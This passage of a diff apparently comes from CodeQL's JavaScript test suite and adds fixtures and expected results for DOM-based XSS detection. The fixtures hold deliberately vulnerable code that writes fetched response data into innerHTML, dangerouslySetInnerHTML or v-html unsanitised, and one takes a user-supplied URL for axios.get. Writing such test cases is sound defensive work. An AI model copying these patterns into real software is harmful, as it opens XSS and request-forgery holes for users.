+| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml |
 | test.jsx:5:11:5:63 | response | semmle.label | response |
 | test.jsx:5:22:5:63 | await f ... ntent") | semmle.label | await f ... ntent") |
 | test.jsx:5:28:5:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") |
@@ -20,5 +113,87 @@ nodes
 | test.jsx:6:24:6:38 | response.json() | semmle.label | response.json() |
 | test.jsx:7:12:7:15 | data | semmle.label | data |
 | test.jsx:15:11:17:5 | data | semmle.label | data |
+| test.jsx:15:13:15:16 | data | semmle.label | data |
 | test.jsx:27:29:27:32 | data | semmle.label | data |
+| test.ts:8:9:8:79 | this.#h ... query') | semmle.label | this.#h ... query') |
+| test.ts:20:28:20:35 | response | semmle.label | response |
+| test.ts:21:57:21:64 | response | semmle.label | response |
+| test.ts:21:57:21:76 | response.description | semmle.label | response.description |
+| test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | semmle.label | `<h2>${ ... o}</p>` |
+| test.ts:24:43:24:50 | response | semmle.label | response |
+| test.ts:24:43:24:55 | response.name | semmle.label | response.name |
+| test.ts:24:67:24:74 | response | semmle.label | response |
+| test.ts:24:67:24:84 | response.owner.bio | semmle.label | response.owner.bio |
+| test.vue:7:11:13:6 | data | semmle.label | data |
+| test.vue:7:45:7:48 | data | semmle.label | data |
+| test.vue:10:15:10:84 | response | semmle.label | response |
+| test.vue:10:26:10:84 | await f ... sts/1") | semmle.label | await f ... sts/1") |
+| test.vue:10:32:10:84 | fetch(" ... sts/1") | semmle.label | fetch(" ... sts/1") |
+| test.vue:11:16:11:23 | response | semmle.label | response |
+| test.vue:11:16:11:30 | response.json() | semmle.label | response.json() |
+| test.vue:15:21:15:24 | data | semmle.label | data |
+| test.vue:22:10:22:22 | v-html=data | semmle.label | v-html=data |
+| testReactRelay.tsx:5:9:5:52 | commentData | semmle.label | commentData |
+| testReactRelay.tsx:5:23:5:52 | useFrag ... entRef) | semmle.label | useFrag ... entRef) |
+| testReactRelay.tsx:7:43:7:53 | commentData | semmle.label | commentData |
+| testReactRelay.tsx:7:43:7:58 | commentData.text | semmle.label | commentData.text |
+| testReactRelay.tsx:17:9:17:42 | data | semmle.label | data |
+| testReactRelay.tsx:17:16:17:42 | useLazy ... ry, {}) | semmle.label | useLazy ... ry, {}) |
+| testReactRelay.tsx:18:48:18:51 | data | semmle.label | data |
+| testReactRelay.tsx:18:48:18:68 | data.co ... 0].text | semmle.label | data.co ... 0].text |
+| testReactRelay.tsx:28:17:28:56 | usePrel ... erence) | semmle.label | usePrel ... erence) |
+| testReactRelay.tsx:28:17:28:67 | usePrel ... r?.name | semmle.label | usePrel ... r?.name |
+| testReactRelay.tsx:37:9:37:40 | data | semmle.label | data |
+| testReactRelay.tsx:37:16:37:40 | useClie ... ry, {}) | semmle.label | useClie ... ry, {}) |
+| testReactRelay.tsx:38:49:38:52 | data | semmle.label | data |
+| testReactRelay.tsx:44:9:44:70 | data | semmle.label | data |
+| testReactRelay.tsx:44:10:44:13 | data | semmle.label | data |
+| testReactRelay.tsx:47:46:47:49 | data | semmle.label | data |
+| testReactRelay.tsx:61:9:70:38 | data | semmle.label | data |
+| testReactRelay.tsx:62:5:62:8 | data | semmle.label | data |
+| testReactRelay.tsx:71:49:71:52 | data | semmle.label | data |
+| testReactRelay.tsx:80:9:80:54 | feedbackText | semmle.label | feedbackText |
+| testReactRelay.tsx:80:10:80:21 | feedbackText | semmle.label | feedbackText |
+| testReactRelay.tsx:83:17:83:20 | data | semmle.label | data |
+| testReactRelay.tsx:84:23:84:26 | data | semmle.label | data |
+| testReactRelay.tsx:88:50:88:61 | feedbackText | semmle.label | feedbackText |
+| testReactRelay.tsx:95:9:95:50 | fragmentRef | semmle.label | fragmentRef |
+| testReactRelay.tsx:95:10:95:20 | fragmentRef | semmle.label | fragmentRef |
+| testReactRelay.tsx:100:14:100:16 | res | semmle.label | res |
+| testReactRelay.tsx:101:22:101:24 | res | semmle.label | res |
+| testReactRelay.tsx:113:48:113:58 | fragmentRef | semmle.label | fragmentRef |
+| testReactRelay.tsx:124:12:124:15 | data | semmle.label | data |
+| testReactRelay.tsx:127:35:127:38 | data | semmle.label | data |
+| testReactRelay.tsx:127:35:127:43 | data.user | semmle.label | data.user |
+| testReactRelay.tsx:136:9:136:39 | data | semmle.label | data |
+| testReactRelay.tsx:136:16:136:39 | readFra ... y, key) | semmle.label | readFra ... y, key) |
+| testReactRelay.tsx:137:50:137:53 | data | semmle.label | data |
+| testReactUseQueries.jsx:4:9:4:53 | response | semmle.label | response |
+| testReactUseQueries.jsx:4:20:4:53 | await f ... e.com') | semmle.label | await f ... e.com') |
+| testReactUseQueries.jsx:4:26:4:53 | fetch(' ... e.com') | semmle.label | fetch(' ... e.com') |
+| testReactUseQueries.jsx:5:10:5:17 | response | semmle.label | response |
+| testReactUseQueries.jsx:5:10:5:24 | response.json() | semmle.label | response.json() |
+| testReactUseQueries.jsx:37:25:37:38 | repoQuery.data | semmle.label | repoQuery.data |
+| testUseQueries2.vue:6:11:6:63 | response | semmle.label | response |
+| testUseQueries2.vue:6:22:6:63 | await f ... ntent") | semmle.label | await f ... ntent") |
+| testUseQueries2.vue:6:28:6:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") |
+| testUseQueries2.vue:7:11:7:38 | data | semmle.label | data |
+| testUseQueries2.vue:7:18:7:38 | await r ... .json() | semmle.label | await r ... .json() |
+| testUseQueries2.vue:7:24:7:31 | response | semmle.label | response |
+| testUseQueries2.vue:7:24:7:38 | response.json() | semmle.label | response.json() |
+| testUseQueries2.vue:8:12:8:15 | data | semmle.label | data |
+| testUseQueries2.vue:12:11:12:41 | response | semmle.label | response |
+| testUseQueries2.vue:12:22:12:41 | await fetch("${id}") | semmle.label | await fetch("${id}") |
+| testUseQueries2.vue:12:28:12:41 | fetch("${id}") | semmle.label | fetch("${id}") |
+| testUseQueries2.vue:13:12:13:19 | response | semmle.label | response |
+| testUseQueries2.vue:13:12:13:26 | response.json() | semmle.label | response.json() |
+| testUseQueries2.vue:33:22:33:36 | results[0].data | semmle.label | results[0].data |
+| testUseQueries2.vue:40:10:40:23 | v-html=data3 | semmle.label | v-html=data3 |
+| testUseQueries.vue:11:19:11:49 | response | semmle.label | response |
+| testUseQueries.vue:11:30:11:49 | await fetch("${id}") | semmle.label | await fetch("${id}") |
+| testUseQueries.vue:11:36:11:49 | fetch("${id}") | semmle.label | fetch("${id}") |
+| testUseQueries.vue:12:20:12:27 | response | semmle.label | response |
+| testUseQueries.vue:12:20:12:34 | response.json() | semmle.label | response.json() |
+| testUseQueries.vue:18:22:18:36 | results[0].data | semmle.label | results[0].data |
+| testUseQueries.vue:25:10:25:23 | v-html=data2 | semmle.label | v-html=data2 |
 subpaths
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/interceptors.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/interceptors.js
new file mode 100644
index 000000000000..d4e918c1de8d
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/interceptors.js
@@ -0,0 +1,20 @@
+const express = require("express");
+const axios = require("axios");
+
+const app = express();
+
+axios.interceptors.response.use(
+    (response) => { // $ Source
+        const userGeneratedHtml = response.data;
+        document.getElementById("content").innerHTML = userGeneratedHtml; // $ Alert
+        return response;
+    },
+    (error) => {
+        return Promise.reject(error);
+    }
+);
+
+app.post("/fetch", (req, res) => {
+    const { url } = req.body;
+    axios.get(url);
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.ts
new file mode 100644
index 000000000000..fb7ffae102ad
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.ts
@@ -0,0 +1,37 @@
+import { QueryClient, injectQuery } from '@tanstack/angular-query-experimental'
+import { HttpClient } from '@angular/common/http'   
+
+class ServiceOrComponent {
+    query = injectQuery(() => ({
+      queryKey: ['repoData'],
+      queryFn: () =>
+        this.#http.get<Response>('https://api.github.com/repos/tanstack/query'), // $ Source
+    }))
+
+    #http: {
+      get: <T>(url: string) => Promise<T>
+    };
+
+    constructor(http: HttpClient) {
+      this.#http = http;
+    }
+    
+    displayRepoDetails() {
+      this.query.data.then(response => {
+        document.getElementById('repoInfo').innerHTML = response.description; // $ Alert
+        
+        const detailsElement = document.createElement('div');
+        detailsElement.innerHTML = `<h2>${response.name}</h2><p>${response.owner.bio}</p>`;  // $ Alert
+        document.body.appendChild(detailsElement);
+      });
+    }
+}
+
+interface Response {
+  name: string;
+  description: string;
+  stargazers_count: number;
+  owner: {
+    bio: string;
+  }
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.vue b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.vue
new file mode 100644
index 000000000000..0db6637a8cb5
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/test.vue
@@ -0,0 +1,24 @@
+<script>
+import { useQuery, VueQueryClientProvider } from "@tanstack/vue-query";
+
+
+export default {
+  data() {
+    const { isPending, isError, isFetching, data, error } = useQuery({
+      queryKey: ["post"],
+      queryFn: async () => {
+        const response = await fetch("https://jsonplaceholder.typicode.com/posts/1"); // $ Source
+        return response.json();
+      },
+    });
+    
+    return { data : data };
+  }
+}
+</script>
+
+<template>
+  <VueQueryClientProvider :client="queryClient">
+    <div v-html="data"></div> <!--$ Alert[js/xss] -->
+  </VueQueryClientProvider>
+</template>
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactRelay.tsx b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactRelay.tsx
new file mode 100644
index 000000000000..d40c01934070
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactRelay.tsx
@@ -0,0 +1,138 @@
+import React, { useState } from "react";
+import { useFragment } from 'react-relay';
+
+const func1 = ({ commentRef, query }) => {
+  const commentData = useFragment(query, commentRef); // $ Source=[js/xss]
+  return (
+    <p dangerouslySetInnerHTML={{ __html: commentData.text }}> // $ Alert=[js/xss]
+      {" "}
+      {commentData.text}
+    </p>
+  ); 
+};
+
+import { useLazyLoadQuery } from "react-relay";
+
+function func2({ query }) {
+  const data = useLazyLoadQuery(query, {}); // $ Source
+  return <p dangerouslySetInnerHTML={{ __html: data.comments[0].text }} />; // $ Alert
+}
+
+import { useQueryLoader, usePreloadedQuery } from "react-relay";
+
+function func3({ initialQueryRef, query }) {
+  const [queryReference, loadQuery] = useQueryLoader(query, initialQueryRef);
+  return (
+    <h1
+      dangerouslySetInnerHTML={{
+        __html: usePreloadedQuery(query, queryReference).user?.name, // $ Alert
+      }}
+    />
+  ); 
+}
+
+import { useClientQuery } from "react-relay";
+
+function func4({ query }) {
+  const data = useClientQuery(query, {}); // $ Source
+  return <h1 dangerouslySetInnerHTML={{ __html: data }} />; // $ Alert
+}
+
+import { useRefetchableFragment } from "react-relay";
+
+function func5({ query, props }) {
+  const [data, refetch] = useRefetchableFragment(query, props.comment); // $ Source
+  return (
+    <>
+      <h1 dangerouslySetInnerHTML={{ __html: data }} /> // $ Alert
+      <h1 dangerouslySetInnerHTML={{ __html: refetch }} />
+      <Button
+        onClick={() => {
+          refetch({ lang: "SPANISH" }, { fetchPolicy: "store-or-network" });
+        }}
+      ></Button>
+    </>
+  );
+}
+
+import { usePaginationFragment } from "react-relay";
+
+function func6({ query }) {
+  const {
+    data, // $ Source
+    loadNext,
+    loadPrevious,
+    hasNext,
+    hasPrevious,
+    isLoadingNext,
+    isLoadingPrevious,
+    refetch,
+  } = usePaginationFragment(query, {}); 
+  return <h1 dangerouslySetInnerHTML={{ __html: data }} />; // $ Alert
+}
+
+
+import { useMutation } from 'react-relay';
+import type { FeedbackLikeMutation } from './FeedbackLikeMutation.graphql';
+
+function func7(query) {
+  const [commit, inFlight] = useMutation<FeedbackLikeMutation>(query);
+  const [feedbackText, setFeedbackText] = useState('');
+  
+  commit({
+    onCompleted(data) { // $ Source
+      setFeedbackText(data);
+    },
+  });
+
+  return (<div dangerouslySetInnerHTML={{__html: feedbackText, }}/>); // $ Alert
+}
+
+import { useSubscription } from 'react-relay';
+import { useMemo } from 'react';
+
+function func8({GroupLessonsSubscription}) {
+  const [fragmentRef, setFragmentRef] = useState();
+
+  const groupLessonConfig = useMemo(() => ({
+    subscription: GroupLessonsSubscription,
+    variables: {},
+    onNext: (res) => { // $ Source
+      setFragmentRef(res);
+    },
+    onError: (err) => {
+      console.error('Error with subscription:', err);
+    },
+    onCompleted: () => {
+      console.log('Subscription completed');
+    },
+  }), []);
+
+  useSubscription(groupLessonConfig);
+
+return (<div dangerouslySetInnerHTML={{__html: fragmentRef, }}/>); // $ Alert
+}
+
+
+import { fetchQuery } from 'react-relay'
+
+function func9({query, environment}) {
+  fetchQuery(environment, query,{id: 4},).subscribe({
+    start: () => {},
+    complete: () => {},
+    error: (error) => {},
+    next: (data) => { // $ Source
+      const outputElement = document.getElementById('output');
+      if (outputElement) {
+        outputElement.innerHTML = data.user; // $ Alert
+      }
+    }
+  });
+}
+
+import { readFragment } from "relay-runtime";
+
+function func10({ query, key }) {
+  const data = readFragment(query, key); // $ Source
+  return (<h1 dangerouslySetInnerHTML={{ __html: data }} />); // $ Alert
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactUseQueries.jsx b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactUseQueries.jsx
new file mode 100644
index 000000000000..d978e309c0f1
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testReactUseQueries.jsx
@@ -0,0 +1,42 @@
+import { useQueries } from '@tanstack/react-query';
+
+const fetchRepoData = async () => {
+  const response = await fetch('https://example.com'); // $ Source
+  return response.json();
+};
+
+async function fetchPost() {
+    const response = await fetch("www.example.com"); // $ MISSING: Source
+    return response.json();
+}
+
+export default function UseQueriesComponent() {
+  const results = useQueries({
+    queries: [
+      {
+        queryKey: ['repoData'],
+        queryFn: fetchRepoData,
+      },
+      {
+        queryKey: ['repoData'],
+        queryFn: () => fetchPost,
+      },
+    ],
+  });
+
+  const repoQuery = results[0];
+
+  if (repoQuery.isLoading) return <p>Loading...</p>;
+  if (repoQuery.isError) return <p>Error: {repoQuery.error.message}</p>;
+
+  return (
+    <div>
+        <h1>Content with Dangerous HTML</h1>
+        <div
+            dangerouslySetInnerHTML={{
+                __html: repoQuery.data, // $ Alert
+            }}
+        />
+    </div>
+);
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries.vue b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries.vue
new file mode 100644
index 000000000000..c0e58af5b215
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries.vue
@@ -0,0 +1,27 @@
+<script>
+import { useQueries } from "@tanstack/vue-query";
+
+export default {
+  data() {
+    const ids = [1, 2, 3]
+    const results = useQueries({
+    queries: ids.map((id) => ({
+        queryKey: ['post', id],
+        queryFn: async () => {
+            const response = await fetch("${id}"); // $ Source
+            return response.json();
+        },
+        staleTime: Infinity,
+    })),
+    });
+    
+    return { data2 : results[0].data };
+  }
+}
+</script>
+
+<template>
+  <VueQueryClientProvider :client="queryClient">
+    <div v-html="data2"></div> <!--$ Alert -->
+  </VueQueryClientProvider>
+</template>
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries2.vue b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries2.vue
new file mode 100644
index 000000000000..8515e2d33ff8
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXssWithResponseThreat/testUseQueries2.vue
@@ -0,0 +1,42 @@
+<script>
+import { useQueries } from "@tanstack/vue-query";
+import { computed } from "vue";
+
+const fetchContent = async () => {
+    const response = await fetch("https://example.com/content"); // $ Source
+    const data = await response.json();
+    return data;
+};
+
+async function fetchPost() {
+    const response = await fetch("${id}"); // $ Source
+    return response.json();
+}
+
+export default {
+  data() {
+    const results = useQueries({
+      queries: [
+        {
+          queryKey: ["post", 1],
+          queryFn: fetchContent,
+          staleTime: Infinity,
+        },
+        {
+          queryKey: ["post", 2],
+          queryFn: () => fetchPost(),
+          staleTime: Infinity,
+        },
+      ],
+    });
+
+    return { data3 : results[0].data };
+  },
+};
+</script>
+
+<template>
+  <VueQueryClientProvider :client="queryClient">
+    <div v-html="data3"></div> <!--$ Alert -->
+  </VueQueryClientProvider>
+</template>
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ConsistencyExceptionXss.ql b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ConsistencyExceptionXss.ql
deleted file mode 100644
index ec505e62e171..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ConsistencyExceptionXss.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.ExceptionXssQuery as ExceptionXss
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.expected b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.expected
index a862c47907c3..350f7bf5431c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ExceptionXss/ExceptionXss.expected
@@ -1,3 +1,97 @@
+#select
+| ajv.js:11:18:11:33 | ajv.errorsText() | ajv.js:11:18:11:33 | ajv.errorsText() | ajv.js:11:18:11:33 | ajv.errorsText() | $@ is reinterpreted as HTML without escaping meta-characters. | ajv.js:11:18:11:33 | ajv.errorsText() | JSON schema validation error |
+| ajv.js:24:18:24:26 | val.error | ajv.js:24:18:24:26 | val.error | ajv.js:24:18:24:26 | val.error | $@ is reinterpreted as HTML without escaping meta-characters. | ajv.js:24:18:24:26 | val.error | JSON schema validation error |
+| exception-xss.js:11:18:11:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:11:18:11:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:17:18:17:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:17:18:17:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:23:18:23:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:23:18:23:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:35:18:35:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:35:18:35:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:48:18:48:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:48:18:48:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:83:18:83:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:83:18:83:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:91:18:91:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:91:18:91:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:97:18:97:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:97:18:97:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:107:18:107:18 | e | exception-xss.js:2:12:2:28 | document.location | exception-xss.js:107:18:107:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:2:12:2:28 | document.location | Exception text |
+| exception-xss.js:119:12:119:28 | "Exception: " + e | exception-xss.js:117:11:117:23 | req.params.id | exception-xss.js:119:12:119:28 | "Exception: " + e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:117:11:117:23 | req.params.id | Exception text |
+| exception-xss.js:130:18:130:18 | e | exception-xss.js:125:45:125:68 | documen ... .search | exception-xss.js:130:18:130:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:125:45:125:68 | documen ... .search | Exception text |
+| exception-xss.js:138:19:138:23 | error | exception-xss.js:136:10:136:22 | req.params.id | exception-xss.js:138:19:138:23 | error | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:136:10:136:22 | req.params.id | Exception text |
+| exception-xss.js:149:18:149:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:149:18:149:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
+| exception-xss.js:155:18:155:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:155:18:155:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
+| exception-xss.js:175:18:175:18 | e | exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:175:18:175:18 | e | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:146:12:146:35 | documen ... .search | Exception text |
+| exception-xss.js:182:19:182:23 | error | exception-xss.js:180:10:180:22 | req.params.id | exception-xss.js:182:19:182:23 | error | $@ is reinterpreted as HTML without escaping meta-characters. | exception-xss.js:180:10:180:22 | req.params.id | Exception text |
+edges
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:9:11:9:13 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:15:9:15:11 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:21:11:21:13 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:33:19:33:21 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:46:16:46:18 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:81:16:81:18 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:89:11:89:13 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:95:12:95:14 | foo | provenance |  |
+| exception-xss.js:2:6:2:28 | foo | exception-xss.js:102:12:102:14 | foo | provenance |  |
+| exception-xss.js:2:12:2:28 | document.location | exception-xss.js:2:6:2:28 | foo | provenance |  |
+| exception-xss.js:4:17:4:17 | x | exception-xss.js:5:11:5:11 | x | provenance |  |
+| exception-xss.js:9:11:9:13 | foo | exception-xss.js:10:11:10:11 | e | provenance | Config |
+| exception-xss.js:10:11:10:11 | e | exception-xss.js:11:18:11:18 | e | provenance |  |
+| exception-xss.js:15:3:15:12 | exceptional return of inner(foo) | exception-xss.js:16:11:16:11 | e | provenance |  |
+| exception-xss.js:15:9:15:11 | foo | exception-xss.js:4:17:4:17 | x | provenance |  |
+| exception-xss.js:15:9:15:11 | foo | exception-xss.js:15:3:15:12 | exceptional return of inner(foo) | provenance | Config |
+| exception-xss.js:16:11:16:11 | e | exception-xss.js:17:18:17:18 | e | provenance |  |
+| exception-xss.js:21:11:21:13 | foo | exception-xss.js:21:11:21:21 | foo + "bar" | provenance |  |
+| exception-xss.js:21:11:21:21 | foo + "bar" | exception-xss.js:22:11:22:11 | e | provenance | Config |
+| exception-xss.js:22:11:22:11 | e | exception-xss.js:23:18:23:18 | e | provenance |  |
+| exception-xss.js:33:11:33:22 | ["bar", foo] [1] | exception-xss.js:34:11:34:11 | e | provenance | Config |
+| exception-xss.js:33:19:33:21 | foo | exception-xss.js:33:11:33:22 | ["bar", foo] [1] | provenance |  |
+| exception-xss.js:34:11:34:11 | e | exception-xss.js:35:18:35:18 | e | provenance |  |
+| exception-xss.js:38:16:38:16 | x | exception-xss.js:39:9:39:9 | x | provenance |  |
+| exception-xss.js:39:9:39:9 | x | exception-xss.js:39:3:39:10 | exceptional return of deep2(x) | provenance | Config |
+| exception-xss.js:39:9:39:9 | x | exception-xss.js:41:17:41:17 | x | provenance |  |
+| exception-xss.js:41:17:41:17 | x | exception-xss.js:42:9:42:9 | x | provenance |  |
+| exception-xss.js:42:9:42:9 | x | exception-xss.js:4:17:4:17 | x | provenance |  |
+| exception-xss.js:42:9:42:9 | x | exception-xss.js:42:3:42:10 | exceptional return of inner(x) | provenance | Config |
+| exception-xss.js:46:3:46:19 | exceptional return of deep("bar" + foo) | exception-xss.js:47:11:47:11 | e | provenance |  |
+| exception-xss.js:46:8:46:18 | "bar" + foo | exception-xss.js:38:16:38:16 | x | provenance |  |
+| exception-xss.js:46:8:46:18 | "bar" + foo | exception-xss.js:46:3:46:19 | exceptional return of deep("bar" + foo) | provenance | Config |
+| exception-xss.js:46:16:46:18 | foo | exception-xss.js:46:8:46:18 | "bar" + foo | provenance |  |
+| exception-xss.js:47:11:47:11 | e | exception-xss.js:48:18:48:18 | e | provenance |  |
+| exception-xss.js:74:28:74:28 | x | exception-xss.js:75:10:75:10 | x | provenance |  |
+| exception-xss.js:75:10:75:10 | x | exception-xss.js:4:17:4:17 | x | provenance |  |
+| exception-xss.js:75:10:75:10 | x | exception-xss.js:75:4:75:11 | exceptional return of inner(x) | provenance | Config |
+| exception-xss.js:81:3:81:19 | exceptional return of myWeirdInner(foo) | exception-xss.js:82:11:82:11 | e | provenance |  |
+| exception-xss.js:81:16:81:18 | foo | exception-xss.js:74:28:74:28 | x | provenance |  |
+| exception-xss.js:81:16:81:18 | foo | exception-xss.js:81:3:81:19 | exceptional return of myWeirdInner(foo) | provenance | Config |
+| exception-xss.js:82:11:82:11 | e | exception-xss.js:83:18:83:18 | e | provenance |  |
+| exception-xss.js:89:11:89:13 | foo | exception-xss.js:89:11:89:26 | foo.match(/foo/) | provenance |  |
+| exception-xss.js:89:11:89:26 | foo.match(/foo/) | exception-xss.js:90:11:90:11 | e | provenance | Config |
+| exception-xss.js:90:11:90:11 | e | exception-xss.js:91:18:91:18 | e | provenance |  |
+| exception-xss.js:95:11:95:22 | [foo, "bar"] [0] | exception-xss.js:96:11:96:11 | e | provenance | Config |
+| exception-xss.js:95:12:95:14 | foo | exception-xss.js:95:11:95:22 | [foo, "bar"] [0] | provenance |  |
+| exception-xss.js:96:11:96:11 | e | exception-xss.js:97:18:97:18 | e | provenance |  |
+| exception-xss.js:102:12:102:14 | foo | exception-xss.js:106:11:106:11 | e | provenance | Config |
+| exception-xss.js:106:11:106:11 | e | exception-xss.js:107:18:107:18 | e | provenance |  |
+| exception-xss.js:117:11:117:23 | req.params.id | exception-xss.js:118:11:118:11 | e | provenance | Config |
+| exception-xss.js:118:11:118:11 | e | exception-xss.js:119:28:119:28 | e | provenance |  |
+| exception-xss.js:119:28:119:28 | e | exception-xss.js:119:12:119:28 | "Exception: " + e | provenance |  |
+| exception-xss.js:125:45:125:68 | documen ... .search | exception-xss.js:128:11:128:52 | session ... ssion') | provenance |  |
+| exception-xss.js:128:11:128:52 | session ... ssion') | exception-xss.js:129:11:129:11 | e | provenance | Config |
+| exception-xss.js:129:11:129:11 | e | exception-xss.js:130:18:130:18 | e | provenance |  |
+| exception-xss.js:136:10:136:22 | req.params.id | exception-xss.js:136:26:136:30 | error | provenance | Config |
+| exception-xss.js:136:26:136:30 | error | exception-xss.js:138:19:138:23 | error | provenance |  |
+| exception-xss.js:146:6:146:35 | foo | exception-xss.js:148:33:148:35 | foo | provenance |  |
+| exception-xss.js:146:6:146:35 | foo | exception-xss.js:153:8:153:10 | foo | provenance |  |
+| exception-xss.js:146:6:146:35 | foo | exception-xss.js:174:31:174:33 | foo | provenance |  |
+| exception-xss.js:146:12:146:35 | documen ... .search | exception-xss.js:146:6:146:35 | foo | provenance |  |
+| exception-xss.js:148:2:148:46 | new Pro ... solve)) [PromiseError] | exception-xss.js:148:55:148:55 | e | provenance |  |
+| exception-xss.js:148:33:148:35 | foo | exception-xss.js:148:2:148:46 | new Pro ... solve)) [PromiseError] | provenance | Config |
+| exception-xss.js:148:55:148:55 | e | exception-xss.js:149:18:149:18 | e | provenance |  |
+| exception-xss.js:153:8:153:10 | foo | exception-xss.js:154:11:154:11 | e | provenance | Config |
+| exception-xss.js:154:11:154:11 | e | exception-xss.js:155:18:155:18 | e | provenance |  |
+| exception-xss.js:170:17:170:23 | tainted | exception-xss.js:171:11:171:17 | tainted | provenance |  |
+| exception-xss.js:174:2:174:44 | new Pro ... solve)) [PromiseError] | exception-xss.js:174:53:174:53 | e | provenance |  |
+| exception-xss.js:174:25:174:43 | exceptional return of inner(foo, resolve) | exception-xss.js:174:2:174:44 | new Pro ... solve)) [PromiseError] | provenance |  |
+| exception-xss.js:174:31:174:33 | foo | exception-xss.js:170:17:170:23 | tainted | provenance |  |
+| exception-xss.js:174:31:174:33 | foo | exception-xss.js:174:25:174:43 | exceptional return of inner(foo, resolve) | provenance | Config |
+| exception-xss.js:174:53:174:53 | e | exception-xss.js:175:18:175:18 | e | provenance |  |
